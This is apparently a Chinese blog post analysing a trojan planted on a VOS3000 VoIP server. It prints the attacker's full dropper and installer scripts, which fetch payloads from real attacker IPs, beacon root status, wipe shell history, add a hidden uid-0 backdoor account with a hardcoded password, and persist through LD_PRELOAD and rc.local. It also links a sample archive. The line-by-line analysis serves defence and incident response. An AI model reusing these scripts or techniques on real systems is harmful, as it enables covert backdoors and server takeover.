这个木马是我一个朋友的服务器中标的,未进服务器内部排查中马后的状态,只是简单的下载分析了,然后本来想写份清理木马的脚本的,因个人工作精力有限,懒得去写。闲话少说正文开始
阿里云报告
2020年9月8日17:00:45
进程异常行为-访问恶意下载源
待处理
高级威胁检测模型
备注|
处理
该告警由如下引擎检测发现:窗Q
父进程路径: /home/kunshi/vos3000/bin/vos3000
父进程命令行: /home/kunshi/vos3000/bin/vos3000 -x 1843 -r /home/kunshi/.run/vos3000.pid父进程id: 1273
进程ID:14349用户名: kunshi
URL链接: http://47.56.15.121:8080/uninstall.sh进程路径: /bin/bash
命令行参数x: /bin/sh -c curl -s http//47.56.15.121:808O/Uninstallsh -o /tmp/Uninstall.sh&&chmod +x /tmp/Uninstallsth&&/tmp/Uninstllsth与该URL有关联的漏洞: None
事件说明:检测模型发现您的服务器正在尝试访问一个可疑的恶意下载源,可能是黑客通过弱口令或命令执行漏洞,从远程服务器下或恶意文件,危害服务器安全。
解决方案:请及时排查告答中提示的恶意URL,以及所下载的目录下的恶意文件,并及时清理已运行的恶意进程。如果该指令是您自己主动执行的,您可以在控制台点击标记为误报。
这个是2021年4月13日告警
首先阿里云告警上说执行了这个命令
来源vos3000的服务
命令行:/bin/sh -c curl -s http;//47.56.15.121:808O/Upgrade.sh -o /tmp/Upgrade.sh&chmod +x /tmp/Upgrade.sh&sh /tmp/Upgrade.sh 47.56.15.121 8080
进程PID: 13536进程文件名: bash父进程ID:1273父进程: vos3000
父进程文件路径: /home/kunshi/vos3000/bin/vos3000进程链:-[1273] /home/kunshi/vos3000/bin/vos3000 -x 1843 -r /home/kunshi/ .run/vos3000.pid
那这边开始分析下他下载的这个文件 我们首先分析这个Upgrade.sh这个脚本
Down下来后分析
Upgrade.sh代码如下:
1 #!/bin/sh
2
3 IPADDR=$1
4 PORT=$2
5
6 iptables -t nat -A OUTPUT -p tcp -d 47.56.15.121 –dport 61061 -j DNAT –to-destination 47.56.15.121:61060
7
8 unlink /tmp/Upgrade.sh
9 if [ $(id -u) -eq 0 ]
10then
11 curl -s http://103.206.122.245:65530/check?cs=Root
12# iptables -I INPUT 2 -s 47.56.15.121 -j ACCEPT
13
14else
15 curl -s http://103.206.122.245:65530/check?cs=NoRoot
16fi
17
18curl http://$IPADDR:$PORT/system.tar.gz -so /tmp/system.tar.gz
19tar -zxvpf /tmp/system.tar.gz -C /tmp
20chmod +x /tmp/ssh
21rm -rf /tmp/system.tar.gz
22source /tmp/ssh $IPADDR $PORT
简单分析下
第一行和第二行定义一个变量来源于输入的ip和端口 分别是47.56.15.121 8080
第六行添加防火墙规则,目的地47.56.15.121的61061转移到61060端口上,具体用处不详。
第八行删除/tmp/Upgrade.sh下载器文件,因为unlink命令删除是无感静默,没有输出,我们日常都用的是更强大的rm,unlink命令只能删除单个文件,不能删除目录。
第九行到第十六行是一个判断语句,如果登录的用户的id等于0的话(也可以理解成root用户),curl -s http://103.206.122.245:65530/check?cs=Root 执行这个命令,curl -s参数也是没有输出静默执行的意思,可能这个是收集记录ip信息和是否是root权限的意思。反之执行curl -s http://103.206.122.245:65530/check?cs=NoRoot。中间第十二行是加防火墙允许47.56.15.121ip访问本服务器。
第十八行下载system.tar.gz放到tmp目录下,也是静默模式下载。
第十九行解压到解压gz包,带p是带原来的权限信息,-C是指定目录的意思。解压到tmp目录下。
第二十行是添加执行权限。
第二十一行删除下载的system.tar.gz
第二十二行获取本地环境变量执行ssh脚本使用上次的输入的两个变量
现在分析ssh这个脚本内容,down下来后代码如下:
1 #/bin/sh
2
3 unlink /tmp/ssh
4 #curl http://103.206.123.13:8787/test?data=xxn
5 export I_AM_HIDDEN=a
6
7 history -c
8 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
9 export HISTFILE=/dev/null
10 export HISTSIZE=0
11 export HISTFILESIZE=0
12
13 # about trojan
14 IPADDR=$1
15 PORT=$2
16 VER=`echo $(uname -a)`
17 KVER=`echo $(ps -ef | grep $TROFILE | grep -v grep | awk ‘{print $2}’)`
18 BitX=”x86_64″
19 TROFILE=”/lib/libse1inux”
20 PROFILE=”/lib/libse1inux.a”
21 LIBPATH=”/lib/libse1inux.so”
22 PIDFILE=”/tmp/libse1inux.0″
23 PROEXE=”I_AM_HIDDEN=a nohup /lib/libse1inux.a 2>/dev/null &”
24 ENVVAR=”echo $LD_PRELOAD”
25
26 # about user
27 FTP_USER=”sftp”
28 FTP_PASSWD=”e@iQN*lG”
29 FTP_FOLDER=”/var/sftp”
30
31 #—————–create user———————#
32 EXIST_USER=`/bin/cat /etc/passwd | awk -F ‘:’ ‘{print $(1)}’ | /bin/grep -E “^$FTP_USER$”`
33 if [ $(id -u) -eq 0 ]
34 then
35 if [ “$EXIST_USER” != “$FTP_USER” ]
36 then
37 mkdir -p $FTP_FOLDER
38 /bin/chmod 777 -R $FTP_FOLDER
39 groupadd -og 50 $FTP_USER
40 /usr/sbin/useradd -lou 0 -g 50 -c ‘,,,’ -d $FTP_FOLDER -s /bin/sh $FTP_USER >/dev/null 2>&1
41 echo $FTP_PASSWD | /usr/bin/passwd $FTP_USER –stdin >/dev/null 2>&1
42 fi
43 fi
44 #———————END————————-#
45
46 #———–do something about trojan————-#
47 if [ -f “$PIDFILE” ]
48 then
49 PID=$(cat $PIDFILE)
50 kill -9 $PID
51 rm -rf $PIDFILE
52 rm -rf $PROFILE
53 rm -rf $TROFILE
54 rm -rf $LIBPATH
55 fi
56
57 if [ -n ‘$KVER’ ]
58 then
59 kill -9 $KVER
60 rm -rf $PIDFILE
61 rm -rf $PROFILE
62 rm -rf $TROFILE
63 rm -rf $LIBPATH
64 fi
65
66 if [[ $VER =~ $BitX ]]
67 then
68 curl http://$IPADDR:$PORT/configUpdate.tar.gz -so /tmp/configUpdate.tar.gz
69 else
70 curl http://$IPADDR:$PORT/configUpdate-32.tar.gz -so /tmp/configUpdate.tar.gz
71 fi
72
73 tar -zxvpf /tmp/configUpdate.tar.gz -C /tmp
74 rm -rf /tmp/configUpdate.tar.gz
75 chmod +x /tmp/libse1inux
76 chmod +x /tmp/libse1inux.a
77 chmod +x /tmp/libse1inux.so
78 if [ $(id -u) -ne 0 ]
79 then
80 rm -rf /tmp/libse1inux.so
81 rm -rf /tmp/libse1inux.a
82 mv /tmp/libse1inux /tmp/.bash
83 /tmp/.bash
84 exit
85 fi
86
87 mv /tmp/libse1inux.so $LIBPATH
88 mv /tmp/libse1inux.a $PROFILE
89 mv /tmp/libse1inux $TROFILE
90 touch -acmr /bin/su $LIBPATH
91 touch -acmr /bin/su $PROFILE
92 touch -acmr /bin/su $TROFILE
93 chattr +i $TROFILE
94 chattr +i $PROFILE
95 chattr +i $LIBPATH
96 #run trojan & shell
97
98 I_AM_HIDDEN=a $TROFILE I_AM_HIDDEN
99 I_AM_HIDDEN=a nohup $PROFILE 2>/dev/null &
100
101if [ -z ‘$ENVVAR’ ];then
102 export LD_PRELOAD=$LD_PRELOAD:$LIBPATH
103fi
104
105if ! grep -Fwo “$LIBPATH” /etc/profile > /dev/null
106then
107 sed -i “export LD_PRELOAD=\$LD_PRELOAD:/lib/libse1inux.so” /etc/profile
108 source /etc/profile
109fi
110
111if ! grep -Fwo “$PROEXE” /etc/rc.local > /dev/null
112then
113 if [ `grep -c “exit” /etc/rc.local` -ne 1 ]
114 then
115 sed -i ‘$s/^exit.*$//g’ /etc/rc.local
116 fi
117
118
119 echo $PROEXE >> /etc/rc.local
120
121fi
122
123
124unset I_AM_HIDDEN
125#———————END————————-#
第三行删除这个ssh脚本文件
第五行设置环境变量为I_AM_HIDDEN=a
第七行删除历史记录
第八行删除环境变量HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
第九到第十一行设置历史记录文件为空,历史命令大小为0,历史文件大小为0。逃避history命令记录功能。
第十三到第二十四行关于一些文件信息,文件里备注的是木马信息。
定义了变量VER、KVER、BitX、TROFILE、PROFILE、LIBPATH、PIDFILE、PROEXE、ENVVAR。其中VER是系统版本、KVER是允许的木马版本、BitX是系统类型、TROFILE、PROFILE、LIBPATH、PIDFILE、PROEXE、ENVVAR是木马文件有关的。PROEXE=”I_AM_HIDDEN=a nohup /lib/libse1inux.a 2>/dev/null &”这个意思执行PROEXE变量的时候运行显示I_AM_HIDDEN=a,并后台运行/lib/libse1inux.a程序,重新定向到null错误信息不显示。
第二十六到四十四行都关于用户建立有关信息。
用户名和密码以及用户目录做了个变量。用户名sftp,密码e@iQN*lG和用户目录为/var/sftp,其实这个用户系统里没有的,跟ftp用户混淆,但是他生成这个主要目的为了后续连接。
定义一个EXIST_USER用户,在passwd里查询有没有sftp用户,若是有的话直接退出执行用户添加步骤,脚本意思就是若是现在允许的用户id为0的话,EXIST_USER不等于FTP_USER的话执行添加sftp用户步骤。首先创建用户目录/var/sftp,并赋予777权限,添加sftp群组,添加用户的时候-u来指定用户id为0,-g来指定群组id50,-d指定home目录,-c来指定用户信息,-s来指定了用/bin/sh的shell,并>/dev/null 2>&1重新指定到null不输出。其中-l是不输出到日志里,-o是可以重新创建用户,因为系统若是有这个用户会报错,所以这里用到的-lou。Passwd命令带–stdin这个直接自动完成密码不需要人工输入,并重定向到null不输出。
第四十六到第五十五行,判断PIDFILE是否存在(/tmp/libse1inux.0文件),存在的话查看pid值,并结束进程,删除文件(包括/lib/libse1inux、/lib/libse1inux.a、/lib/libse1inux.so、/lib/libse1inux.0),后续版本更新的话直接覆盖时候用到的。
第五十七到六十四行,判断$KVER变量是否为空,要是为空并结束进程,删除文件(包括/lib/libse1inux、/lib/libse1inux.a、/lib/libse1inux.so、/lib/libse1inux.0),后续版本更新的话直接覆盖时候用到的。
第六十六到七十一行,先判断系统是否是64位,若是64位就下载64位对应程序,反之下载32位程序,其中$IPADDR:$PORT来源于第一次输入的值得47.56.15.121 8080,并使用-s静默模式和-o指定到路径改写成configUpdate.tar.gz。
第七十三到七十七行,解压configUpdate.tar.gz文件并原来权限,指定到tmp目录下,删除configUpdate.tar.gz加执行权限给/tmp/libse1inux、libse1inux.a、libse1inux.so。
第七十八到八十五行,判读是否使用root用户,若不是root用户的话,删除/tmp/libse1inux.so、libse1inux.a,并移动/tmp/libse1inux改写成/tmp/.bash,然后执行后退出脚本。
第八十七到九十五行,/tmp/下的libse1inux、libse1inux.a、libse1inux.so这个三个文件移动到/lib/下libse1inux、libse1inux.a、libse1inux.so,并通过touch的-acmr该更文件创建修改时间,其中-a是修改创建时间、-m修改时间、-c若是不重建文件、-r使用文件时间,调用/bin/su来完成。通过chattr +i来锁定文件不能任意修改。
第九十八和九十九行,执行/lib/libse1inux带I_AM_HIDDEN参数,执行/lib/libse1inux.a通过nohup来后台执行结果不输出。
第一百到一百零三行,如果ENVVAR=”echo $LD_PRELOAD”为空,执行加环境变量export LD_PRELOAD=$LD_PRELOAD:$LIBPATH
第一百零五到一百零九行,若是在环境变量文件里没有LIBPATH=”/lib/libse1inux.so”,profile文件里插入export LD_PRELOAD=\$LD_PRELOAD:/lib/libse1inux.so,并更新profile文件。
第一百一是一到末尾行,如果在rc.local里没有I_AM_HIDDEN=a nohup /lib/libse1inux.a 2>/dev/null &的话,在rc.local里exit字段数量若是不等于1的话执行sed -i ‘$s/^exit.*$//g’ /etc/rc.local。若是等于1的话rc.local追加I_AM_HIDDEN=a nohup /lib/libse1inux.a 2>/dev/null。然后环境变量取消I_AM_HIDDEN。
从简单的分析了后发现用到的ip最少三个,
47.56.15.121:8080 61061 61060
103.206.122.245:65530
103.206.123.13:8787
用到的文件
http;//47.56.15.121:808O/Upgrade.sh
http;//47.56.15.121:808O/system.tar.gz
http;//47.56.15.121:808O/configUpdate.tar.gz
http;//47.56.15.121:808O/configUpdate-32.tar.gz
最终解压出来的执行文件没时间去分析。
libse1inux
libse1inux.a
libse1inux.so
libse1inux.a代码如下:
1 #!/bin/sh
2
3 history -c
4
5 while true
6 do
7 min=`date +%M`
8 if [ ${min} -eq 30 -o ${min} -eq 0 ];then
9 res=`I_AM_HIDDEN=a echo $(ps -ef | grep “/lib/libse1inux” | grep -v grep | awk ‘{print $(2)}’)`
10 if [ -z “${res}” ]
11 then
12 I_AM_HIDDEN=a /lib/libse1inux I_AM_HIDDEN
13 fi
14 while true
15 do
16 min=`date +%M`
17 if [ ${min} -ne 30 -a ${min} -ne 0 ];then
18 break
19 fi
20 I_AM_HIDDEN=a sleep 30
21 done
22 fi
23 I_AM_HIDDEN=a sleep 20
24done
下载链接失效请用本站的下载地址:
http://feel.name/bak/I_AM_HIDDEN.rar
敢问博主,最后怎么解决的呢?
是否可以共享下脚本呢?
本来写个删除的脚本的。后面没时间详细研究就没写清理脚本。我直接重置云服务器了。